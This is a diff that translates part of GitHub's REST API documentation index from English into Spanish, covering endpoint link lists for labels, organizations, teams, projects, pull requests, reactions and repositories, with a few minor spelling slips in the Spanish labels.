-* [List labels for a repository](/rest/reference/issues#list-labels-for-a-repository)
-* [Create a label](/rest/reference/issues#create-a-label)
-* [Get a label](/rest/reference/issues#get-a-label)
-* [Update a label](/rest/reference/issues#update-a-label)
-* [Delete a label](/rest/reference/issues#delete-a-label)
-* [Get labels for every issue in a milestone](/rest/reference/issues#list-labels-for-issues-in-a-milestone)
+* [Listar las etiquetas para un informe de problemas](/rest/reference/issues#list-labels-for-an-issue)
+* [Agregar etiquetas a un informe de problemas](/rest/reference/issues#add-labels-to-an-issue)
+* [Configurar eitquetas para un informe de problemas](/rest/reference/issues#set-labels-for-an-issue)
+* [Eliminar todas las etiquetas de un informe de problemas](/rest/reference/issues#remove-all-labels-from-an-issue)
+* [Eliminar una etiqueta de un informe de problemas](/rest/reference/issues#remove-a-label-from-an-issue)
+* [Listar etiquetas para un repositorio](/rest/reference/issues#list-labels-for-a-repository)
+* [Crear una etiqueta](/rest/reference/issues#create-a-label)
+* [Obtener una etiqueta](/rest/reference/issues#get-a-label)
+* [Actualizar una etiqueta](/rest/reference/issues#update-a-label)
+* [Borrar una etiqueta](/rest/reference/issues#delete-a-label)
+* [Obtener etiquetas para cada informe de problemas en un hito](/rest/reference/issues#list-labels-for-issues-in-a-milestone)
 
-#### Licenses
+#### Licencias
 
-* [Get all commonly used licenses](/rest/reference/licenses#get-all-commonly-used-licenses)
-* [Get a license](/rest/reference/licenses#get-a-license)
+* [Obtener todas las licencias que se utilizan habitualmente](/rest/reference/licenses#get-all-commonly-used-licenses)
+* [Obtener una licencia](/rest/reference/licenses#get-a-license)
 
 #### Markdown
 
-* [Render a Markdown document](/rest/reference/markdown#render-a-markdown-document)
-* [Render a markdown document in raw mode](/rest/reference/markdown#render-a-markdown-document-in-raw-mode)
+* [Generar un documento de Markdown](/rest/reference/markdown#render-a-markdown-document)
+* [Generar un documento de markdwon en modo raw](/rest/reference/markdown#render-a-markdown-document-in-raw-mode)
 
 #### Meta
 
 * [Meta](/rest/reference/meta#meta)
 
-#### Milestones
+#### Hitos
 
-* [List milestones](/rest/reference/issues#list-milestones)
-* [Create a milestone](/rest/reference/issues#create-a-milestone)
-* [Get a milestone](/rest/reference/issues#get-a-milestone)
-* [Update a milestone](/rest/reference/issues#update-a-milestone)
-* [Delete a milestone](/rest/reference/issues#delete-a-milestone)
+* [Listar hitos](/rest/reference/issues#list-milestones)
+* [Crear un hito](/rest/reference/issues#create-a-milestone)
+* [Obtener un hito](/rest/reference/issues#get-a-milestone)
+* [Actualizar un hito](/rest/reference/issues#update-a-milestone)
+* [Borrar un hito](/rest/reference/issues#delete-a-milestone)
 
-#### Organization Hooks
+#### Ganchos de organización
 
-* [List organization webhooks](/rest/reference/orgs#webhooks/#list-organization-webhooks)
-* [Create an organization webhook](/rest/reference/orgs#webhooks/#create-an-organization-webhook)
-* [Get an organization webhook](/rest/reference/orgs#webhooks/#get-an-organization-webhook)
-* [Update an organization webhook](/rest/reference/orgs#webhooks/#update-an-organization-webhook)
-* [Delete an organization webhook](/rest/reference/orgs#webhooks/#delete-an-organization-webhook)
-* [Ping an organization webhook](/rest/reference/orgs#webhooks/#ping-an-organization-webhook)
+* [Listar los webhooks de la organización](/rest/reference/orgs#webhooks/#list-organization-webhooks)
+* [Crear un webhook para una organización](/rest/reference/orgs#webhooks/#create-an-organization-webhook)
+* [Obtener un webhook de una organización](/rest/reference/orgs#webhooks/#get-an-organization-webhook)
+* [Actualizar el webhook de una organización](/rest/reference/orgs#webhooks/#update-an-organization-webhook)
+* [Borrar el webhook de una organización](/rest/reference/orgs#webhooks/#delete-an-organization-webhook)
+* [Hacer ping al webhook de una organización](/rest/reference/orgs#webhooks/#ping-an-organization-webhook)
 
 {% ifversion fpt or ghec %}
-#### Organization Invitations
+#### Invitaciones a las Organizaciones
 
-* [List pending organization invitations](/rest/reference/orgs#list-pending-organization-invitations)
-* [Create an organization invitation](/rest/reference/orgs#create-an-organization-invitation)
-* [List organization invitation teams](/rest/reference/orgs#list-organization-invitation-teams)
+* [Listar las invitaciones pendientes a una organización](/rest/reference/orgs#list-pending-organization-invitations)
+* [Crear una invitación a una organización](/rest/reference/orgs#create-an-organization-invitation)
+* [Listar los equipos de invitación a una organización](/rest/reference/orgs#list-organization-invitation-teams)
 {% endif %}
 
-#### Organization Members
+#### Miembros de la Organización
 
-* [List organization members](/rest/reference/orgs#list-organization-members)
-* [Check organization membership for a user](/rest/reference/orgs#check-organization-membership-for-a-user)
-* [Remove an organization member](/rest/reference/orgs#remove-an-organization-member)
-* [Get organization membership for a user](/rest/reference/orgs#get-organization-membership-for-a-user)
-* [Set organization membership for a user](/rest/reference/orgs#set-organization-membership-for-a-user)
-* [Remove organization membership for a user](/rest/reference/orgs#remove-organization-membership-for-a-user)
-* [List public organization members](/rest/reference/orgs#list-public-organization-members)
-* [Check public organization membership for a user](/rest/reference/orgs#check-public-organization-membership-for-a-user)
-* [Set public organization membership for the authenticated user](/rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user)
-* [Remove public organization membership for the authenticated user](/rest/reference/orgs#remove-public-organization-membership-for-the-authenticated-user)
+* [Listar a los miembros de la organización](/rest/reference/orgs#list-organization-members)
+* [Verificar la membrecía de organización de un usuario](/rest/reference/orgs#check-organization-membership-for-a-user)
+* [Eliminar a un miembro de una organización](/rest/reference/orgs#remove-an-organization-member)
+* [Obtener la membrecía de organización para un usuario](/rest/reference/orgs#get-organization-membership-for-a-user)
+* [Configurar una mebrecía de organización para un usuario](/rest/reference/orgs#set-organization-membership-for-a-user)
+* [Eliminar la membrecía de organización de un usuario](/rest/reference/orgs#remove-organization-membership-for-a-user)
+* [Listar los miembros de una organización pública](/rest/reference/orgs#list-public-organization-members)
+* [Verificar la membrecía de una organización pública de un usuario](/rest/reference/orgs#check-public-organization-membership-for-a-user)
+* [Configurar la membrecía de una organización pública para el usuario autenticado](/rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user)
+* [Eliminar la membrecía de una organizción pública del usuario autenticado](/rest/reference/orgs#remove-public-organization-membership-for-the-authenticated-user)
 
-#### Organization Outside Collaborators
+#### Colaboradores Externos de una Organización
 
-* [List outside collaborators for an organization](/rest/reference/orgs#list-outside-collaborators-for-an-organization)
-* [Convert an organization member to outside collaborator](/rest/reference/orgs#convert-an-organization-member-to-outside-collaborator)
-* [Remove outside collaborator from an organization](/rest/reference/orgs#remove-outside-collaborator-from-an-organization)
+* [Listar los colaboradores externos de una organización](/rest/reference/orgs#list-outside-collaborators-for-an-organization)
+* [Convertir a un miembro de la organización en colaborador externo](/rest/reference/orgs#convert-an-organization-member-to-outside-collaborator)
+* [Eliminar a un colaborador externo de la organización](/rest/reference/orgs#remove-outside-collaborator-from-an-organization)
 
 {% ifversion ghes %}
-#### Organization Pre Receive Hooks
+#### Ganchos de Pre-recepción de la Organización
 
-* [List pre-receive hooks for an organization](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization)
-* [Get a pre-receive hook for an organization](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization)
-* [Update pre-receive hook enforcement for an organization](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-an-organization)
-* [Remove pre-receive hook enforcement for an organization](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization)
+* [Listar los ganchos de pre-recepción de una organización](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization)
+* [Obtener los ganchos de pre-recepción de una organización](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization)
+* [Actualizar el requerir los ganchos de pre-recepción para una organización](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-an-organization)
+* [Eliminar el requerir los ganchos de pre-recepción para una organización](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization)
 {% endif %}
 
 {% ifversion fpt or ghes or ghae or ghec %}
-#### Organization Team Projects
+#### Poyectos de Equipo de una Organización
 
-* [List team projects](/rest/reference/teams#list-team-projects)
-* [Check team permissions for a project](/rest/reference/teams#check-team-permissions-for-a-project)
-* [Add or update team project permissions](/rest/reference/teams#add-or-update-team-project-permissions)
-* [Remove a project from a team](/rest/reference/teams#remove-a-project-from-a-team)
+* [Listar los proyectos de equipo](/rest/reference/teams#list-team-projects)
+* [Verificar los permisos del equipo para un proyecto](/rest/reference/teams#check-team-permissions-for-a-project)
+* [Agregar o actualizar los permisos de un proyecto de equipo](/rest/reference/teams#add-or-update-team-project-permissions)
+* [Eliminar a un proyecto de un equipo](/rest/reference/teams#remove-a-project-from-a-team)
 {% endif %}
 
-#### Organization Team Repositories
+#### Repositorios de Equipo de la Organización
 
-* [List team repositories](/rest/reference/teams#list-team-repositories)
-* [Check team permissions for a repository](/rest/reference/teams#check-team-permissions-for-a-repository)
-* [Add or update team repository permissions](/rest/reference/teams#add-or-update-team-repository-permissions)
-* [Remove a repository from a team](/rest/reference/teams#remove-a-repository-from-a-team)
+* [Listar los repositorios de equipo](/rest/reference/teams#list-team-repositories)
+* [Verificar los permisos de un equipo para un repositorio](/rest/reference/teams#check-team-permissions-for-a-repository)
+* [Agregar o actualizar los permisos de un repositorio de equipo](/rest/reference/teams#add-or-update-team-repository-permissions)
+* [Eliminar a un repositorio de un equipo](/rest/reference/teams#remove-a-repository-from-a-team)
 
 {% ifversion fpt or ghec %}
-#### Organization Team Sync
+#### Sincronización de Equipos de la Organización
 
-* [List idp groups for a team](/rest/reference/teams#list-idp-groups-for-a-team)
-* [Create or update idp group connections](/rest/reference/teams#create-or-update-idp-group-connections)
-* [List IdP groups for an organization](/rest/reference/teams#list-idp-groups-for-an-organization)
+* [Listar los grupos de IdP de un equipo](/rest/reference/teams#list-idp-groups-for-a-team)
+* [Crear o actualizar las conexiones de un grupo de IdP](/rest/reference/teams#create-or-update-idp-group-connections)
+* [Listar grupos de IdP para una organización](/rest/reference/teams#list-idp-groups-for-an-organization)
 {% endif %}
 
-#### Organization Teams
+#### Equipos de la Organización
 
-* [List teams](/rest/reference/teams#list-teams)
-* [Create a team](/rest/reference/teams#create-a-team)
-* [Get a team by name](/rest/reference/teams#get-a-team-by-name)
-* [Update a team](/rest/reference/teams#update-a-team)
-* [Delete a team](/rest/reference/teams#delete-a-team)
+* [Listar equipos](/rest/reference/teams#list-teams)
+* [Crear un equipo](/rest/reference/teams#create-a-team)
+* [Obtener un equipo por su nombre](/rest/reference/teams#get-a-team-by-name)
+* [Actualizar un equipo](/rest/reference/teams#update-a-team)
+* [Borrar un equipo](/rest/reference/teams#delete-a-team)
 {% ifversion fpt or ghec %}
-* [List pending team invitations](/rest/reference/teams#list-pending-team-invitations)
+* [Listar invitaciones pendientes al equipo](/rest/reference/teams#list-pending-team-invitations)
 {% endif %}
-* [List team members](/rest/reference/teams#list-team-members)
-* [Get team membership for a user](/rest/reference/teams#get-team-membership-for-a-user)
-* [Add or update team membership for a user](/rest/reference/teams#add-or-update-team-membership-for-a-user)
-* [Remove team membership for a user](/rest/reference/teams#remove-team-membership-for-a-user)
-* [List child teams](/rest/reference/teams#list-child-teams)
-* [List teams for the authenticated user](/rest/reference/teams#list-teams-for-the-authenticated-user)
+* [Listar miembros del equipo](/rest/reference/teams#list-team-members)
+* [Obtener la membresía de equipo de un usuario](/rest/reference/teams#get-team-membership-for-a-user)
+* [Agregar o actualizar la membrecía de equipo de un usuario](/rest/reference/teams#add-or-update-team-membership-for-a-user)
+* [Eliminar la membrecía de equipo para un usuario](/rest/reference/teams#remove-team-membership-for-a-user)
+* [Listar los equipos hijos](/rest/reference/teams#list-child-teams)
+* [Listar los equipos para el usuario autenticado](/rest/reference/teams#list-teams-for-the-authenticated-user)
 
-#### Organizations
+#### Organizaciones
 
-* [List organizations](/rest/reference/orgs#list-organizations)
-* [Get an organization](/rest/reference/orgs#get-an-organization)
-* [Update an organization](/rest/reference/orgs#update-an-organization)
-* [List organization memberships for the authenticated user](/rest/reference/orgs#list-organization-memberships-for-the-authenticated-user)
-* [Get an organization membership for the authenticated user](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user)
-* [Update an organization membership for the authenticated user](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user)
-* [List organizations for the authenticated user](/rest/reference/orgs#list-organizations-for-the-authenticated-user)
-* [List organizations for a user](/rest/reference/orgs#list-organizations-for-a-user)
+* [Listar organizaciones](/rest/reference/orgs#list-organizations)
+* [Obtener una organización](/rest/reference/orgs#get-an-organization)
+* [Actualizar una organización](/rest/reference/orgs#update-an-organization)
+* [Listar membrecías de organización para el usuario autenticado](/rest/reference/orgs#list-organization-memberships-for-the-authenticated-user)
+* [Obtener la membrecía de organización para el usuario autenticado](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user)
+* [Actualizar la membrecía de una organización para el usuario autenticado](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user)
+* [Listar las organizaciones para el usuario autenticado](/rest/reference/orgs#list-organizations-for-the-authenticated-user)
+* [Listar las organizaciones de un usuario](/rest/reference/orgs#list-organizations-for-a-user)
 
 {% ifversion fpt or ghec %}
-#### Organizations Credential Authorizations
+#### Autorizaciones de Credencial para las Organizaciones
 
-* [List SAML SSO authorizations for an organization](/rest/reference/orgs#list-saml-sso-authorizations-for-an-organization)
-* [Remove a SAML SSO authorization for an organization](/rest/reference/orgs#remove-a-saml-sso-authorization-for-an-organization)
+* [Listar las autorizaciones del SSO de SAML para una organización](/rest/reference/orgs#list-saml-sso-authorizations-for-an-organization)
+* [Eliminar las autorizaciones del SSO de SAML de una organización](/rest/reference/orgs#remove-a-saml-sso-authorization-for-an-organization)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### Organizations Scim
+#### Scim de las Organizaciones
 
-* [List SCIM provisioned identities](/rest/reference/scim#list-scim-provisioned-identities)
-* [Provision and invite a SCIM user](/rest/reference/scim#provision-and-invite-a-scim-user)
-* [Get SCIM provisioning information for a user](/rest/reference/scim#get-scim-provisioning-information-for-a-user)
-* [Set SCIM information for a provisioned user](/rest/reference/scim#set-scim-information-for-a-provisioned-user)
-* [Update an attribute for a SCIM user](/rest/reference/scim#update-an-attribute-for-a-scim-user)
-* [Delete a SCIM user from an organization](/rest/reference/scim#delete-a-scim-user-from-an-organization)
+* [Listar las identidades aprovisionadas de SCIM](/rest/reference/scim#list-scim-provisioned-identities)
+* [Aprovisionar e invitar a un usuario de SCIM](/rest/reference/scim#provision-and-invite-a-scim-user)
+* [Obtener la información de aprovisionamiento de SCIM para un usuario](/rest/reference/scim#get-scim-provisioning-information-for-a-user)
+* [Configurar la información de SCIM para un usuario aprovisionado](/rest/reference/scim#set-scim-information-for-a-provisioned-user)
+* [Actualizar un atributo para un usuario de SCIM](/rest/reference/scim#update-an-attribute-for-a-scim-user)
+* [Borrar a un usuario de SCIM de una organización](/rest/reference/scim#delete-a-scim-user-from-an-organization)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### Source Imports
+#### Importaciones de Código Fuente
 
-* [Get an import status](/rest/reference/migrations#get-an-import-status)
-* [Start an import](/rest/reference/migrations#start-an-import)
-* [Update an import](/rest/reference/migrations#update-an-import)
-* [Cancel an import](/rest/reference/migrations#cancel-an-import)
-* [Get commit authors](/rest/reference/migrations#get-commit-authors)
-* [Map a commit author](/rest/reference/migrations#map-a-commit-author)
-* [Get large files](/rest/reference/migrations#get-large-files)
-* [Update Git LFS preference](/rest/reference/migrations#update-git-lfs-preference)
+* [Obtener el estado de una importación](/rest/reference/migrations#get-an-import-status)
+* [Iniciar una importación](/rest/reference/migrations#start-an-import)
+* [Actualizar una importación](/rest/reference/migrations#update-an-import)
+* [Cancelar una importación](/rest/reference/migrations#cancel-an-import)
+* [Obtener los autores de una confirmación](/rest/reference/migrations#get-commit-authors)
+* [Mapear al autor de una confirmación](/rest/reference/migrations#map-a-commit-author)
+* [Obtener archivos grandes](/rest/reference/migrations#get-large-files)
+* [Actualizar la preferencia de LFS de Git](/rest/reference/migrations#update-git-lfs-preference)
 {% endif %}
 
-#### Project Collaborators
+#### Colaboradores de Proyecto
 
-* [List project collaborators](/rest/reference/projects#list-project-collaborators)
-* [Add project collaborator](/rest/reference/projects#add-project-collaborator)
-* [Remove project collaborator](/rest/reference/projects#remove-project-collaborator)
-* [Get project permission for a user](/rest/reference/projects#get-project-permission-for-a-user)
+* [Listar colaboradores del proyecto](/rest/reference/projects#list-project-collaborators)
+* [Agregar a un colaborador del proyecto](/rest/reference/projects#add-project-collaborator)
+* [Eliminar a un colaborador del proyecto](/rest/reference/projects#remove-project-collaborator)
+* [Obtener permisos del proyecto para un usuario](/rest/reference/projects#get-project-permission-for-a-user)
 
-#### Projects
+#### Proyectos
 
-* [List organization projects](/rest/reference/projects#list-organization-projects)
-* [Create an organization project](/rest/reference/projects#create-an-organization-project)
-* [Get a project](/rest/reference/projects#get-a-project)
-* [Update a project](/rest/reference/projects#update-a-project)
-* [Delete a project](/rest/reference/projects#delete-a-project)
-* [List project columns](/rest/reference/projects#list-project-columns)
-* [Create a project column](/rest/reference/projects#create-a-project-column)
-* [Get a project column](/rest/reference/projects#get-a-project-column)
-* [Update a project column](/rest/reference/projects#update-a-project-column)
-* [Delete a project column](/rest/reference/projects#delete-a-project-column)
-* [List project cards](/rest/reference/projects#list-project-cards)
-* [Create a project card](/rest/reference/projects#create-a-project-card)
-* [Move a project column](/rest/reference/projects#move-a-project-column)
-* [Get a project card](/rest/reference/projects#get-a-project-card)
-* [Update a project card](/rest/reference/projects#update-a-project-card)
-* [Delete a project card](/rest/reference/projects#delete-a-project-card)
-* [Move a project card](/rest/reference/projects#move-a-project-card)
-* [List repository projects](/rest/reference/projects#list-repository-projects)
-* [Create a repository project](/rest/reference/projects#create-a-repository-project)
+* [Listar los proyectos de la organización](/rest/reference/projects#list-organization-projects)
+* [Crear un proyecto en la organización](/rest/reference/projects#create-an-organization-project)
+* [Obtener un proyecto](/rest/reference/projects#get-a-project)
+* [Actualizar un proyecto](/rest/reference/projects#update-a-project)
+* [Borrar un proyecto](/rest/reference/projects#delete-a-project)
+* [Listar las columnas del proyecto](/rest/reference/projects#list-project-columns)
+* [Crear una columna de proyecto](/rest/reference/projects#create-a-project-column)
+* [Obtener una columna de proyecto](/rest/reference/projects#get-a-project-column)
+* [Actualizar una column de proyecto](/rest/reference/projects#update-a-project-column)
+* [Borrar una columna de proyecto](/rest/reference/projects#delete-a-project-column)
+* [Listar las tarjetas del proyecto](/rest/reference/projects#list-project-cards)
+* [Crear una tarjeta de proyecto](/rest/reference/projects#create-a-project-card)
+* [Mover una columna de proyecto](/rest/reference/projects#move-a-project-column)
+* [Obtener una tarjeta de proyecto](/rest/reference/projects#get-a-project-card)
+* [Actualizar una tarjeta de proyecto](/rest/reference/projects#update-a-project-card)
+* [Borrar una tarjeta de proyecto](/rest/reference/projects#delete-a-project-card)
+* [Mover una tarjeta de proyecto](/rest/reference/projects#move-a-project-card)
+* [Listar los proyectos de un repositorio](/rest/reference/projects#list-repository-projects)
+* [Crear un proyecto en un repositorio](/rest/reference/projects#create-a-repository-project)
 
-#### Pull Comments
+#### Comentarios de Extracción
 
-* [List review comments on a pull request](/rest/reference/pulls#list-review-comments-on-a-pull-request)
-* [Create a review comment for a pull request](/rest/reference/pulls#create-a-review-comment-for-a-pull-request)
-* [List review comments in a repository](/rest/reference/pulls#list-review-comments-in-a-repository)
-* [Get a review comment for a pull request](/rest/reference/pulls#get-a-review-comment-for-a-pull-request)
-* [Update a review comment for a pull request](/rest/reference/pulls#update-a-review-comment-for-a-pull-request)
-* [Delete a review comment for a pull request](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request)
+* [Listar comentarios de revisión en una solicitud de extracción](/rest/reference/pulls#list-review-comments-on-a-pull-request)
+* [Crear un comentario de revisión para una solicitud de extracción](/rest/reference/pulls#create-a-review-comment-for-a-pull-request)
+* [Listar comentarios de revisión en un repositorio](/rest/reference/pulls#list-review-comments-in-a-repository)
+* [Obtener un comentario de revisión para una solicitud de extracción](/rest/reference/pulls#get-a-review-comment-for-a-pull-request)
+* [Actualizar un comentario de revisión para una solicitud de extracción](/rest/reference/pulls#update-a-review-comment-for-a-pull-request)
+* [Borrar un comentario de revisión para una solicitud de extracción](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request)
 
-#### Pull Request Review Events
+#### Eventos de Revisión en Solciitudes de Extracción
 
-* [Dismiss a review for a pull request](/rest/reference/pulls#dismiss-a-review-for-a-pull-request)
-* [Submit a review for a pull request](/rest/reference/pulls#submit-a-review-for-a-pull-request)
+* [Descartar una revisión para una solicitud de extracción](/rest/reference/pulls#dismiss-a-review-for-a-pull-request)
+* [Emitir una revisión para una solicitud de extracción](/rest/reference/pulls#submit-a-review-for-a-pull-request)
 
-#### Pull Request Review Requests
+#### Solicitudes de Revisión para Solicitudes de Extracción
 
-* [List requested reviewers for a pull request](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request)
-* [Request reviewers for a pull request](/rest/reference/pulls#request-reviewers-for-a-pull-request)
-* [Remove requested reviewers from a pull request](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request)
+* [Listar a los revisores requeridos para una solicitud de extracción](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request)
+* [Solicitar a los revisores para una solicitud de extracción](/rest/reference/pulls#request-reviewers-for-a-pull-request)
+* [Eliminar a los revisores solicitados para una solicitud de extracción](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request)
 
-#### Pull Request Reviews
+#### Revisiones de Solicitudes de Extracción
 
-* [List reviews for a pull request](/rest/reference/pulls#list-reviews-for-a-pull-request)
-* [Create a review for a pull request](/rest/reference/pulls#create-a-review-for-a-pull-request)
-* [Get a review for a pull request](/rest/reference/pulls#get-a-review-for-a-pull-request)
-* [Update a review for a pull request](/rest/reference/pulls#update-a-review-for-a-pull-request)
-* [List comments for a pull request review](/rest/reference/pulls#list-comments-for-a-pull-request-review)
+* [Listar revisores para una solicitud de extracción](/rest/reference/pulls#list-reviews-for-a-pull-request)
+* [Crear revisión para una solicitud de extracción](/rest/reference/pulls#create-a-review-for-a-pull-request)
+* [Obtener una revisión para una solicitud de extracción](/rest/reference/pulls#get-a-review-for-a-pull-request)
+* [Actualizar una revisión para una solicitud de extracción](/rest/reference/pulls#update-a-review-for-a-pull-request)
+* [Listar los comentarios para una revisión de una solicitud de extracción](/rest/reference/pulls#list-comments-for-a-pull-request-review)
 
-#### Pulls
+#### Extracciones
 
-* [List pull requests](/rest/reference/pulls#list-pull-requests)
-* [Create a pull request](/rest/reference/pulls#create-a-pull-request)
-* [Get a pull request](/rest/reference/pulls#get-a-pull-request)
-* [Update a pull request](/rest/reference/pulls#update-a-pull-request)
-* [List commits on a pull request](/rest/reference/pulls#list-commits-on-a-pull-request)
-* [List pull requests files](/rest/reference/pulls#list-pull-requests-files)
-* [Check if a pull request has been merged](/rest/reference/pulls#check-if-a-pull-request-has-been-merged)
-* [Merge a pull request (Merge Button)](/rest/reference/pulls#merge-a-pull-request)
+* [Listar solicitudes extracción](/rest/reference/pulls#list-pull-requests)
+* [Crear una solicitud de extracción](/rest/reference/pulls#create-a-pull-request)
+* [Obtener una solicitud de extracción](/rest/reference/pulls#get-a-pull-request)
+* [Actualizar una solicitud de extracción](/rest/reference/pulls#update-a-pull-request)
+* [Listar las confirmaciones en una solicitud de extracción](/rest/reference/pulls#list-commits-on-a-pull-request)
+* [Listar los archivos en una solicitud de extracción](/rest/reference/pulls#list-pull-requests-files)
+* [Revisar si se ha fusionado una solicitud de extracción](/rest/reference/pulls#check-if-a-pull-request-has-been-merged)
+* [Fusionar una solicitud de extracción (Botón de Fusionar)](/rest/reference/pulls#merge-a-pull-request)
 
-#### Reactions
+#### Reacciones
 
-{% ifversion fpt or ghes or ghae or ghec %}* [Delete a reaction](/rest/reference/reactions#delete-a-reaction-legacy){% else %}* [Delete a reaction](/rest/reference/reactions#delete-a-reaction){% endif %}
-* [List reactions for a commit comment](/rest/reference/reactions#list-reactions-for-a-commit-comment)
-* [Create reaction for a commit comment](/rest/reference/reactions#create-reaction-for-a-commit-comment)
-* [List reactions for an issue](/rest/reference/reactions#list-reactions-for-an-issue)
-* [Create reaction for an issue](/rest/reference/reactions#create-reaction-for-an-issue)
-* [List reactions for an issue comment](/rest/reference/reactions#list-reactions-for-an-issue-comment)
-* [Create reaction for an issue comment](/rest/reference/reactions#create-reaction-for-an-issue-comment)
-* [List reactions for a pull request review comment](/rest/reference/reactions#list-reactions-for-a-pull-request-review-comment)
-* [Create reaction for a pull request review comment](/rest/reference/reactions#create-reaction-for-a-pull-request-review-comment)
-* [List reactions for a team discussion comment](/rest/reference/reactions#list-reactions-for-a-team-discussion-comment)
-* [Create reaction for a team discussion comment](/rest/reference/reactions#create-reaction-for-a-team-discussion-comment)
-* [List reactions for a team discussion](/rest/reference/reactions#list-reactions-for-a-team-discussion)
-* [Create reaction for a team discussion](/rest/reference/reactions#create-reaction-for-a-team-discussion){% ifversion fpt or ghes or ghae or ghec %}
-* [Delete a commit comment reaction](/rest/reference/reactions#delete-a-commit-comment-reaction)
-* [Delete an issue reaction](/rest/reference/reactions#delete-an-issue-reaction)
-* [Delete a reaction to a commit comment](/rest/reference/reactions#delete-an-issue-comment-reaction)
-* [Delete a pull request comment reaction](/rest/reference/reactions#delete-a-pull-request-comment-reaction)
-* [Delete team discussion reaction](/rest/reference/reactions#delete-team-discussion-reaction)
-* [Delete team discussion comment reaction](/rest/reference/reactions#delete-team-discussion-comment-reaction){% endif %}
+{% ifversion fpt or ghes or ghae or ghec %}*[Borrar una reacción](/rest/reference/reactions#delete-a-reaction-legacy){% else %}*[Borrar una reacción](/rest/reference/reactions#delete-a-reaction){% endif %}
+* [Listar las reacciones a un comentario de una confirmación](/rest/reference/reactions#list-reactions-for-a-commit-comment)
+* [Crear una reacción para el comentario de una confirmación](/rest/reference/reactions#create-reaction-for-a-commit-comment)
+* [Listar las reacciones de un informe de problemas](/rest/reference/reactions#list-reactions-for-an-issue)
+* [Crear una reacción para un informe de problemas](/rest/reference/reactions#create-reaction-for-an-issue)
+* [Listar las reacciones para el comentario de un informe de problemas](/rest/reference/reactions#list-reactions-for-an-issue-comment)
+* [Crear una reacción para el comentario de informe de problemas](/rest/reference/reactions#create-reaction-for-an-issue-comment)
+* [Listar las reacciones para el comentario de revisión de una solicitud de extracción](/rest/reference/reactions#list-reactions-for-a-pull-request-review-comment)
+* [Crear una reacción para un comentario de revisión de una solicitud de extracción](/rest/reference/reactions#create-reaction-for-a-pull-request-review-comment)
+* [Listar las reacciones para un comentario de debate de equipo](/rest/reference/reactions#list-reactions-for-a-team-discussion-comment)
+* [Crear una reacción para un comentario de debate de equipo](/rest/reference/reactions#create-reaction-for-a-team-discussion-comment)
+* [Listar las reaciones a un debate de equipo](/rest/reference/reactions#list-reactions-for-a-team-discussion)
+* [Crear una reacción para un debate de equipo](/rest/reference/reactions#create-reaction-for-a-team-discussion){% ifversion fpt or ghes or ghae or ghec %}
+* [Borrar la reacción a un comentario de una confirmación](/rest/reference/reactions#delete-a-commit-comment-reaction)
+* [Borrar la reacción a un comentario](/rest/reference/reactions#delete-an-issue-reaction)
+* [Borrar la reacción a un comentario de una confirmación](/rest/reference/reactions#delete-an-issue-comment-reaction)
+* [Borrar la reacción a un comentario de una solicitud de extracción](/rest/reference/reactions#delete-a-pull-request-comment-reaction)
+* [Borrar la reacción a un debate de equipo](/rest/reference/reactions#delete-team-discussion-reaction)
+* [Borrar la reacción a un comentario de un debate de equipo](/rest/reference/reactions#delete-team-discussion-comment-reaction){% endif %}
 
-#### Repositories
+#### Repositorios
 
-* [List organization repositories](/rest/reference/repos#list-organization-repositories)
-* [Create a repository for the authenticated user](/rest/reference/repos#create-a-repository-for-the-authenticated-user)
-* [Get a repository](/rest/reference/repos#get-a-repository)
-* [Update a repository](/rest/reference/repos#update-a-repository)
-* [Delete a repository](/rest/reference/repos#delete-a-repository)
-* [Compare two commits](/rest/reference/repos#compare-two-commits)
-* [List repository contributors](/rest/reference/repos#list-repository-contributors)
-* [List forks](/rest/reference/repos#list-forks)
-* [Create a fork](/rest/reference/repos#create-a-fork)
-* [List repository languages](/rest/reference/repos#list-repository-languages)
-* [List repository tags](/rest/reference/repos#list-repository-tags)
-* [List repository teams](/rest/reference/repos#list-repository-teams)
-* [Transfer a repository](/rest/reference/repos#transfer-a-repository)
-* [List public repositories](/rest/reference/repos#list-public-repositories)
-* [List repositories for the authenticated user](/rest/reference/repos#list-repositories-for-the-authenticated-user)
-* [List repositories for a user](/rest/reference/repos#list-repositories-for-a-user)
-* [Create repository using a repository template](/rest/reference/repos#create-repository-using-a-repository-template)
+* [Listar los repositorios de una organización](/rest/reference/repos#list-organization-repositories)
+* [Crear un repositorio para el usuario autenticado](/rest/reference/repos#create-a-repository-for-the-authenticated-user)
+* [Obtener un repositorio](/rest/reference/repos#get-a-repository)
+* [Actualizar un repositorio](/rest/reference/repos#update-a-repository)
+* [Borrar un repositorio](/rest/reference/repos#delete-a-repository)
+* [Comparar dos confirmaciones](/rest/reference/commits#compare-two-commits)
+* [Listar los colaboradores del repositorio](/rest/reference/repos#list-repository-contributors)
+* [Listar las bifurcaciones](/rest/reference/repos#list-forks)
+* [Crear una bifuración](/rest/reference/repos#create-a-fork)
+* [Listar los lenguajes de un repositorio](/rest/reference/repos#list-repository-languages)
+* [Listar las matrículas de un repositorio](/rest/reference/repos#list-repository-tags)
+* [Listar los equipos de un repositorio](/rest/reference/repos#list-repository-teams)
+* [Transferir un repositorio](/rest/reference/repos#transfer-a-repository)
+* [Listar los repositorios públicos](/rest/reference/repos#list-public-repositories)
